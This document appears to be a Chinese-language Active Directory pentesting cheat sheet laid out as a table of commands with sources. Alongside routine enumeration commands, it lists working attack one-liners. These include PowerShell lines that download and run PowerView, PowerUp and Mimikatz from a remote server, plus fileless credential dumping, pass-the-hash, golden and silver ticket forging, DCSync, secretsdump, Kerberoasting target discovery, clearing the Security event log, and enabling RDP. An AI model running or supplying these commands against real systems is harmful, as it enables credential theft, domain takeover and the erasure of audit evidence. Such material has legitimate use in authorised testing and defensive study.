技术/命令名称  | 命令  | 类型  | 参考  | 
|---|
收集域 SID  | Get-ADDomain | Select-Object SID
  | PowerShell  | Microsoft 文档  | 
列出域控制器  | nltest /dclist:domain
  | CMD  | Microsoft 文档  | 
枚举域组  | Get-ADGroup -Filter * | Select-Object Name
  | PowerShell  | Microsoft 文档  | 
检查 AD 复制状态  | repadmin /replsummary
  | CMD  | Microsoft 文档  | 
枚举域用户  | Get-ADUser -Filter * | Select-Object Name, SamAccountName
  | PowerShell  | AD 漏洞利用速查表  | 
获取域密码策略  | Get-ADDefaultDomainPasswordPolicy
  | PowerShell  | PowerShell 红队  | 
识别域管理员成员  | Get-ADGroupMember -Identity "Domain Admins"
  | PowerShell  | Microsoft 文档  | 
检查 Kerberos 票证政策  | Get-ADDefaultDomainPasswordPolicy | Select-Object -ExpandProperty KerberosTicketPolicy
  | PowerShell  | AD 漏洞利用速查表  | 
列出所有组织单位 (OU)  | Get-ADOrganizationalUnit -Filter *
  | PowerShell  | Microsoft 文档  | 
识别具有委派权限的用户  | Get-ADUser -Filter {TrustedForDelegation -eq $true}
  | PowerShell  | PowerShell 红队  | 
列出 AD 用户的详细信息  | Get-ADUser -Filter * -Properties DisplayName, EmailAddress, LastLogonDate
  | PowerShell  | Microsoft 文档  | 
使用 SPN 识别账户(Kerberoasting)  | Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
  | PowerShell  | AD 漏洞利用速查表  | 
查找管理员账户  | dsquery user -name *admin*
  | CMD  | HackTricks – AD 方法论  | 
列出所有域计算机  | Get-ADComputer -Filter * | Select-Object Name, OperatingSystem
  | PowerShell  | 中等 – AD 枚举  | 
检查组策略对象 (GPO)  | Get-GPO -All
  | PowerShell  | 活动目录专业版  | 
列出特权组  | net group "Domain Admins" /domain
  | CMD  | HackTheBox – AD 渗透测试指南  | 
查找具有无约束委派的机器  | Get-ADComputer -Filter {TrustedForDelegation -eq $true}
  | PowerShell  | PowerShell 红队  | 
检查用户帐户锁定状态  | Get-ADUser -Filter * -Properties LockedOut | Where-Object {$_.LockedOut -eq $true}
  | PowerShell  | Exploit-DB – AD 枚举指南  | 
识别过期的密码  | Search-ADAccount -PasswordExpired | Select-Object Name, PasswordExpired
  | PowerShell  | 渗透测试一切-AD 枚举  | 
查询所有域服务  | nltest /dsgetdc:domain
  | CMD  | 中级 – 使用 PowerShell 进行 AD 枚举  | 
枚举受信任的域  | nltest /trusted_domains
  | CMD  | GitHub – AD 渗透测试  | 
列出广告网站  | Get-ADReplicationSite -Filter *
  | PowerShell  | Microsoft 文档  | 
获取域林信息  | Get-ADForest
  | PowerShell  | CBT Nuggets – 常见的 AD 命令  | 
查找用户的 SID 历史记录(SID 历史记录滥用)  | Get-ADUser -Filter * -Properties SIDHistory | Where-Object {$_.SIDHistory}
  | PowerShell  | AD 漏洞利用速查表  | 
检查域控制器证书  | certutil -dcinfo verify
  | CMD  | PowerShell 红队  | 
导入 PowerView 模块  | powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://remoteserver/PowerView.ps1'); Get-NetUser"
  | PowerShell  | PowerSploit-PowerView  | 
导入 PowerUp 模块  | powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://remoteserver/PowerUp.ps1'); Invoke-AllChecks"
  | PowerShell  | PowerSploit-PowerUp  | 
使用 PowerView 查找域管理员  | Get-NetGroup -GroupName "Domain Admins" | Get-NetGroupMember
  | PowerShell (PowerView)  | PowerSploit-PowerView  | 
使用 PowerView 列出所有域  | Get-NetDomain
  | PowerShell (PowerView)  | HackTricks – AD 方法论  | 
使用 PowerView 枚举域信任  | Get-NetDomainTrust
  | PowerShell (PowerView)  | 中等 – AD 枚举  | 
使用 PowerUp 查找本地权限提升路径  | Invoke-AllChecks
  | PowerShell(PowerUp)  | PowerSploit-PowerUp  | 
使用 PowerUp 识别本地管理员  | Get-LocalGroupMember -Group "Administrators"
  | PowerShell  | PowerSploit-PowerUp  | 
使用 PowerView 搜索可 Kerberoast 攻击的账户  | Get-NetUser -SPN | Select-Object servicePrincipalName
  | PowerShell (PowerView)  | PowerSploit-PowerView  | 
使用 PowerView 列出域计算机上的所有会话  | Get-NetSession -ComputerName target-machine
  | PowerShell (PowerView)  | 渗透测试一切-AD 枚举  | 
使用 PowerView 枚举所有域计算机上的本地管理员  | Invoke-EnumerateLocalAdmin -ComputerName target-machine
  | PowerShell (PowerView)  | PowerSploit-PowerView  | 
使用 PowerUp 查找弱文件权限  | Invoke-CheckLocalAdminAccess
  | PowerShell(PowerUp)  | PowerSploit-PowerUp  | 
使用 PowerUp 检查可写注册表路径  | Invoke-AllChecks | Select-Object WritableRegPaths
  | PowerShell(PowerUp)  | PowerSploit-PowerUp  | 
使用 SecretsDump 转储域名哈希  | secretsdump.py domain/username:password@target
  | Python(Impacket)  | Impacket-SecretsDump  | 
使用 PowerView 检查域策略  | Get-DomainPolicy
  | PowerShell (PowerView)  | PowerSploit-PowerView  | 
使用 PowerView 识别有趣的 ACL  | Find-InterestingDomainAcl
  | PowerShell (PowerView)  | PowerSploit-PowerView  | 
枚举域用户 (LDAP)  | dsquery user -name *
  | CMD  | 活动目录专业版  | 
获取域名信息  | Get-ADDomain
  | PowerShell  | Microsoft 文档  | 
枚举域林  | Get-ADForest
  | PowerShell  | Microsoft 文档  | 
列出域中的所有用户  | net user /domain
  | CMD  | 活动目录专业版  | 
获取域功能级别  | Get-ADDomain | Select-Object DomainMode
  | PowerShell  | HackTricks – AD 方法论  | 
列出域组  | Get-ADGroup -Filter * | Select-Object Name
  | PowerShell  | 中等 – AD 枚举  | 
查询域中的域控制器  | nltest /dclist:domain
  | CMD  | Microsoft 文档  | 
查找 DC 站点信息  | nltest /dsgetsite
  | CMD  | Microsoft 文档  | 
列出域中的所有计算机  | Get-ADComputer -Filter *
  | PowerShell  | 活动目录专业版  | 
获取林中的所有子网  | Get-ADReplicationSubnet -Filter *
  | PowerShell  | Microsoft 文档  | 
检查 LDAP 服务器状态  | nltest /dsgetdc:domain /ldaponly
  | CMD  | Microsoft 文档  | 
获取 AD DNS 区域信息  | Get-DnsServerZone
  | PowerShell  | Microsoft 文档  | 
检查域组成员身份  | net group "GroupName" /domain
  | CMD  | CBT Nuggets – AD 命令  | 
获取域用户上次登录时间  | Get-ADUser -Filter * -Properties LastLogonDate | Select Name, LastLogonDate
  | PowerShell  | 中等 – AD 枚举  | 
列出所有服务帐户  | Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Select Name, ServicePrincipalName
  | PowerShell  | 渗透测试一切-AD 枚举  | 
获取域的密码策略  | Get-ADDefaultDomainPasswordPolicy
  | PowerShell  | 活动目录专业版  | 
列出域计算机上的打开文件共享  | net view \\target-machine
  | CMD  | Exploit-DB-AD 枚举  | 
查找 Active Directory 站点  | Get-ADReplicationSite -Filter *
  | PowerShell  | Microsoft 文档  | 
列出组织单位 (OU)  | Get-ADOrganizationalUnit -Filter *
  | PowerShell  | Microsoft 文档  | 
检查计算机的组策略  | gpresult /r /scope computer
  | CMD  | Microsoft 文档  | 
查询域中的 DNS 服务器  | Get-DnsServerResourceRecord -ZoneName "domain.local"
  | PowerShell  | Microsoft 文档  | 
枚举全局目录服务器  | nltest /dsgetdc:/gc
  | CMD  | Microsoft 文档  | 
获取域密码过期策略  | net accounts /domain
  | CMD  | HackTheBox – AD 渗透测试指南  | 
获取域控制器  | Get-ADDomainController -Filter *
  | PowerShell  | Microsoft 文档  | 
枚举所有组织单位 (OU)  | Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName
  | PowerShell  | Microsoft 文档  | 
列出特定组中的用户  | Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName
  | PowerShell  | AD 漏洞利用速查表  | 
检查所有用户的上次登录时间  | Get-ADUser -Filter * -Properties LastLogonDate | Where-Object {$_.LastLogonDate -ne $null} | Select-Object Name, LastLogonDate
  | PowerShell  | 活动目录专业版  | 
列出 Active Directory 站点  | Get-ADReplicationSite -Filter *
  | PowerShell  | Microsoft 文档  | 
在计算机上查找本地管理员  | net localgroup Administrators
  | CMD  | Microsoft 文档  | 
获取密码过期的域用户  | Search-ADAccount -PasswordExpired | Select-Object Name, PasswordExpired
  | PowerShell  | HackTheBox – AD 渗透测试指南  | 
查询域林全局目录  | nltest /gc
  | CMD  | Microsoft 文档  | 
检查域管理员帐户状态  | Get-ADUser -Filter {MemberOf -RecursiveMatch 'Domain Admins'} | Select-Object Name, Enabled
  | PowerShell  | 渗透测试一切-AD 枚举  | 
列出域中的特权帐户  | Get-ADUser -Filter {AdminCount -eq 1} | Select-Object Name, SamAccountName
  | PowerShell  | 中等 – AD 枚举  | 
枚举组策略对象 (GPO)  | Get-GPO -All | Select-Object DisplayName, GpoStatus
  | PowerShell  | PowerShell 红队  | 
识别具有不受约束委派的计算机  | Get-ADComputer -Filter {TrustedForDelegation -eq $true} | Select-Object Name, DNSHostName
  | PowerShell  | PowerSploit-PowerView  | 
列出所有域组及其成员  | Get-ADGroup -Filter * | ForEach-Object {Get-ADGroupMember -Identity $_.Name | Select Name, SamAccountName}
  | PowerShell  | AD 漏洞利用速查表  | 
查找域密码策略设置  | net accounts /domain
  | CMD  | 活动目录专业版  | 
列出服务主体名称 (SPN)  | Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Select-Object Name, ServicePrincipalName
  | PowerShell  | HackTricks – AD 方法论  | 
枚举 DNS 服务器  | Get-DnsServer | Select-Object Name, IPAddress
  | PowerShell  | Microsoft 文档  | 
列出特定 OU 上的委派管理员  | Get-ACL "OU=TestOU,DC=domain,DC=com" | Format-List
  | PowerShell  | 中等 – AD 枚举  | 
识别过期帐户  | Search-ADAccount -AccountExpired | Select-Object Name, Enabled
  | PowerShell  | AD 漏洞利用速查表  | 
检查域控制器同步状态  | repadmin /showrepl
  | CMD  | Microsoft 文档  | 
查找启用了 LAPS 的计算机  | Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=domain,DC=com"
  | PowerShell  | Microsoft 文档  | 
查看所有复制子网  | Get-ADReplicationSubnet -Filter *
  | PowerShell  | Microsoft 文档  | 
列出具有高权限的计算机  | Get-ADComputer -Filter {PrimaryGroupID -eq 512}
  | PowerShell  | 中等 – AD 枚举  | 
获取 AD 域站点和子网  | Get-ADReplicationSite | Select-Object Name, SiteObjectGUID
  | PowerShell  | Microsoft 文档  | 
枚举密码策略  | Get-ADFineGrainedPasswordPolicy
  | PowerShell  | Microsoft 文档  | 
查找高价值目标(例如具有 SPN 的管理员)  | Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and MemberOf -like "*Domain Admins*"} | Select Name, ServicePrincipalName
  | PowerShell  | AD 漏洞利用速查表  | 
列出所有域组和成员计数  | Get-ADGroup -Filter * | ForEach-Object {Write-Output "$($_.Name): $((Get-ADGroupMember -Identity $_.Name).Count)"}
  | PowerShell  | 活动目录专业版  | 
查找敏感账户委托  | Get-ADUser -Filter {TrustedForDelegation -eq $true} | Select-Object Name, SamAccountName
  | PowerShell  | HackTricks – AD 方法论  | 
枚举域管理员  | Get-ADGroupMember -Identity "Domain Admins" | Select Name, SamAccountName, ObjectClass
  | PowerShell  | AD 漏洞利用速查表  | 
检查 Kerberos 预身份验证已禁用的帐户  | Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Select Name, SamAccountName
  | PowerShell  | Microsoft 文档  | 
查找计算机上的所有会话  | quser /server:ComputerName
  | CMD  | Quser 命令  | 
确定用户的所有 GPO 权限  | Get-GPPermission -All -User "UserName" | Select-Object DisplayName, Permission
  | PowerShell  | Microsoft 文档  | 
枚举所有林信任  | Get-ADTrust -Filter *
  | PowerShell  | Microsoft 文档  | 
列出远程计算机上的开放共享  | net view \\ComputerName /all
  | CMD  | 网络查看命令  | 
检查计算机是否为域控制器  | if ((Get-ADComputer -Identity "ComputerName").PrimaryGroupID -eq 516) { "Domain Controller" }
  | PowerShell  | Microsoft 文档  | 
列出特定 OU 的所有成员  | Get-ADUser -SearchBase "OU=Users,DC=domain,DC=com" -Filter * | Select Name, SamAccountName
  | PowerShell  | 活动目录专业版  | 
使用永不过期的密码识别管理员帐户  | Get-ADUser -Filter {PasswordNeverExpires -eq $true -and AdminCount -eq 1} | Select-Object Name
  | PowerShell  | HackTricks – AD 方法论  | 
获取支持 LAPS 的计算机  | Find-AdmPwdExtendedRights -Identity "OU=Computers,DC=domain,DC=com"
  | PowerShell(LAPS)  | Microsoft 文档  | 
检查 Active Directory 复制队列  | repadmin /queue
  | CMD  | Microsoft 文档  | 
列出缓存中的所有 Kerberos 票证  | klist
  | CMD  | Klist 命令  | 
查找密码已过期的用户  | Search-ADAccount -PasswordExpired | Select-Object Name, SamAccountName
  | PowerShell  | Microsoft 文档  | 
列出域中所有已禁用的帐户  | Search-ADAccount -AccountDisabled | Select-Object Name, SamAccountName
  | PowerShell  | Microsoft 文档  | 
列出特定组的权限  | Get-ADGroupMember -Identity "Enterprise Admins" | Select Name, SamAccountName
  | PowerShell  | Microsoft 文档  | 
列出域控制器上的会话  | qwinsta /server:DomainControllerName
  | CMD  | Qwinsta 命令  | 
检查域控制器复制状态  | Get-ADReplicationPartnerMetadata -Target "DC=domain,DC=com"
  | PowerShell  | Microsoft 文档  | 
列出远程系统上的本地管理员  | net localgroup Administrators /domain
  | CMD  | 网络本地组命令  | 
以管理员身份运行 Mimikatz(无文件)  | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords'
  | PowerShell(无文件)  | Mimikatz 备忘单  | 
从内存中转储凭证(无文件)  | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords'
  | PowerShell(无文件)  | Mimikatz 综合指南  | 
提取 Kerberos 票证(无文件)  | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::list /export'
  | PowerShell(无文件)  | ADSecurity-Mimikatz  | 
传递哈希攻击(无文件)  | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::pth /user:UserName /domain:domain.local /ntlm:hash /run:powershell.exe'
  | PowerShell(无文件)  | AkimboCore – Mimikatz  | 
枚举所有注册表项  | reg query HKLM
  | CMD  | SS64 – 注册命令  | 
检查自动启动程序  | reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  | CMD  | HackTricks – 注册表持久性  | 
修改注册表项权限  | reg add HKLM\Software\ExampleKey /v ExampleValue /t REG_SZ /d "ExampleData" /f
  | CMD  | SS64 – Reg Add 命令  | 
导出注册表配置单元  | reg export HKLM\Software\MyKey mykey.reg
  | CMD  | SS64 – 注册导出命令  | 
强制组策略更新  | gpupdate /force
  | CMD  | SS64 – Gpupdate 命令  | 
列出计算机已应用的 GPO  | gpresult /R /SCOPE COMPUTER
  | CMD  | SS64 – Gpresult 命令  | 
枚举链接到 OU 的所有 GPO  | Get-GPLink -Domain domain.local -Target "OU=ExampleOU,DC=domain,DC=local"
  | PowerShell  | Microsoft 文档  | 
列出域中的所有组策略  | Get-GPO -All
  | PowerShell  | Microsoft 文档  | 
在远程计算机上查找本地管理员  | net localgroup Administrators /domain
  | CMD  | SS64 – Net Localgroup 命令  | 
查看安全事件日志  | Get-EventLog -LogName Security -Newest 100
  | PowerShell  | Microsoft 文档  | 
清除安全事件日志  | Clear-EventLog -LogName Security
  | PowerShell  | Microsoft 文档  | 
启用远程桌面 (RDP)  | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  | CMD  | HackTricks – 启用 RDP  | 
金票攻击(无文件)  | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21- /krbtgt: /id:500' 在会话中加载票证:
 IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt '
  | PowerShell(无文件)  | HackTricks-黄金票  | 
银票攻击(无文件)  | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::golden /user:UserName /domain:domain.local /sid:S-1-5-21- /target:ServerName /rc4: /service:cifs /id:500' 在会话中加载票证:
 IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt '
  | PowerShell(无文件)  | ADSecurity-银票  | 
传递票证攻击(无文件)  | 转储内存中的 Kerberos 票证:
 IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::tickets' 使用特定的 Kerberos 票证:
 IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt '  | PowerShell(无文件)  | Mimikatz 备忘单 – 传递票证  | 
转储缓存域凭据(无文件)  | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'(需要提升权限)
  | PowerShell(无文件)  | Mimikatz 综合指南  | 
使用 DCSync (无文件) 转储域凭证  | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'lsadump::dcsync /domain:domain.local /user:Administrator'
  | PowerShell(无文件)  | ADSecurity——DCSync 攻击  | 
启用远程桌面 (RDP)  | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  | CMD  | HackTricks – 启用 RDP  | 
检查注册表项的持久性  | reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  | CMD  | SS64 – 注册命令  | 
列出用户权限分配  | Get-GPResultantSetOfPolicy -User domain\username -ReportType Html -Path C:\gporeport.html
  | PowerShell  | Microsoft 文档  | 
导出所有组策略对象  | Backup-GPO -All -Path "C:\GPOBackups"
  | PowerShell  | Microsoft 文档  | 
针对本地帐户的传递哈希攻击  | sekurlsa::pth /user:LocalUser /domain:localhost /ntlm: /run:powershell.exe
  | Mimikatz  | HackTricks – 传递哈希值  | 
查询 Active Directory 复制伙伴  | repadmin /showrepl
  | CMD  | Microsoft 文档  | 
列出所有 Active Directory 站点  | Get-ADReplicationSite -Filter *
  | PowerShell  | Microsoft 文档  | 
识别域管理员组成员  | Get-ADGroupMember -Identity "Domain Admins"
  | PowerShell  | Microsoft 文档  |